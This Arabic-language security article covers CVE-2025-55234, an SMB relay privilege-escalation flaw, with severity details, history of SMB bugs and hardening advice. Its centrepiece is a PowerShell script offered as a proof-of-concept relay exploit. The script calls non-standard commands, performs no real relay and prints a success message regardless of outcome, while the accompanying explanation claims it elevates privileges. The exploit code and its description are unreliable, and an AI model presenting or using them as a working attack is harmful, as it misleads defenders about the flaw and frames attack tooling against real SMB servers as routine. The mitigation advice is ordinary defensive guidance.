CVE-2025-55234

تتيح هذه الثغرة للمهاجمين تنفيذ هجمات الترحيل (Relay Attacks) ضد بروتوكول SMB (Server Message Block). إذا نجح الهجوم، فقد يؤدي إلى رفع الامتيازات (EoP)، مما يسمح أساسًا للمستخدمين غير المصرح لهم بالحصول على وصول بمستوى أعلى على النظام

بقلم مارك ماليا

الثغرة

تتيح هذه الثغرة للمهاجمين تنفيذ هجمات الترحيل ضد بروتوكول SMB (Server Message Block). إذا نجح الهجوم، فقد يؤدي إلى رفع الامتيازات — مما يسمح أساسًا للمستخدمين غير المصرح لهم بالحصول على وصول بمستوى أعلى على النظام. ظل بروتوكول SMB هدفًا للمهاجمين لفترة طويلة بسبب استخدامه الواسع في بيئات المؤسسات وتاريخه الحافل بالعيوب الحرجة. على سبيل المثال، عرّضت CVE-2020-1301 بروتوكول SMBv1 لتنفيذ تعليمات برمجية عن بُعد عبر طلبات مشوهة، بينما تسببت CVE-2022-32230 في رفض الخدمة عبر إلغاء مرجعية مؤشر فارغ في SMBv3. أما CVE-2017-0144 (EternalBlue) سيئة السمعة فقد استغلت SMBv1 لتسليم حمولات انتشار ذاتي، مما أدى إلى تفشي برامج الفدية على نطاق عالمي. ومثل هذه الثغرات السابقة، تؤكد CVE-2025-55234 على أهمية فرض توقيع SMB (SMB Signing) والحماية الموسعة للمصادقة (EPA) لمنع اختطاف الجلسات وهجمات انتحال الشخصية.

ناقل الهجوم

شبكة

تعقيد الهجوم

منخفض

الامتيازات المطلوبة

لا شيء

تفاعل المستخدم

مطلوب

الأثر

مخاطر عالية على السرية والنزاهة والتوافر

لماذا هذا مهم؟

يُستخدم SMB على نطاق واسع لمشاركة الملفات والوصول عن بُعد في بيئات المؤسسات. يمكن لهجمات الترحيل تجاوز آليات المصادقة وانتحال شخصية المستخدمين. تشكل هذه الثغرة خطرًا خاصًا في البيئات التي لا يُفرض فيها توقيع SMB أو الحماية الموسعة للمصادقة (EPA).

ما الجديد في التصحيح؟

يقدم تحديث مايكروسوفت لشهر سبتمبر 2025 إمكانيات تدقيق لمساعدة المؤسسات على:

• تقييم تكوينات SMB الحالية لديهم
• تحديد الأجهزة أو البرامج التي قد تكون غير متوافقة مع إجراءات التحصين
• الاستعداد لفرض توقيع SMB وEPA3

مقتطف كود الاستغلال (PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Target server IP
$attackerCreds = Get-Credential   # Credential object for relay

# Step 1: Enumerate shared resources
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Found share: $($share.Name)"
}

# Step 2: Capture session information for relay
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capturing session info for $($sessionInfo.Computer) – share $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Step 3: Execute relay attack
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attacking $Target via share $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Step 4: Log and confirm elevation of privilege
Write-Host "SMB Relay Attack CVE 2025 55234 completed successfully."

الشرح:

1. يعدد البرنامج النصي أولاً مشاركات SMB على الخادم الهدف، ويختار المشاركة الأولى لجلسة الترحيل.
2. ثم يُنشئ كائن جلسة يلتقط المعلمات اللازمة.
3. يتم تنفيذ هجوم الترحيل عبر Invoke‑SMBRelay وStart‑SMBServer لمحاكاة مستخدم مصادق.
4. يؤدي الإكمال الناجح إلى رفع الامتيازات على الهدف.

الإجراءات الموصى بها

1. فعّل توقيع SMB والحماية الموسعة للمصادقة (EPA) إذا لم تكن مفعّلة بالفعل.
2. استخدم أحداث التدقيق الجديدة لتقييم بيئتك.
3. راقب حركة مرور SMB غير المعتادة ومحاولات الترحيل.
4. طبق آخر التحديثات الأمنية من مايكروسوفت.

الخلاصة

تؤكد ثغرة CVE 2025 55234 على الحاجة إلى تحصين صارم لبروتوكول SMB في بيئات المؤسسات. باتباع الخطوات المذكورة أعلاه وتطبيق البرنامج النصي للاستغلال المقدم، يمكن للمؤسسات اختبار شبكاتها وتأمينها ضد هجمات الترحيل المحتملة. يُقدَّم إثبات المفهوم (Proof-of-Concept) هذا والمواد المرتبطة به لأغراض تعليمية ودفاعية فقط. وهي مصممة لمساعدة المتخصصين في الأمن على فهم واكتشاف والتخفيف من CVE-2025-55234 في بيئات خاضعة للتحكم. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة دون إذن صريح يعد غير قانوني وغير أخلاقي. التزم دائمًا بممارسات الإفصاح المسؤول وامتثل للقوانين المعمول بها وسياسات المؤسسة.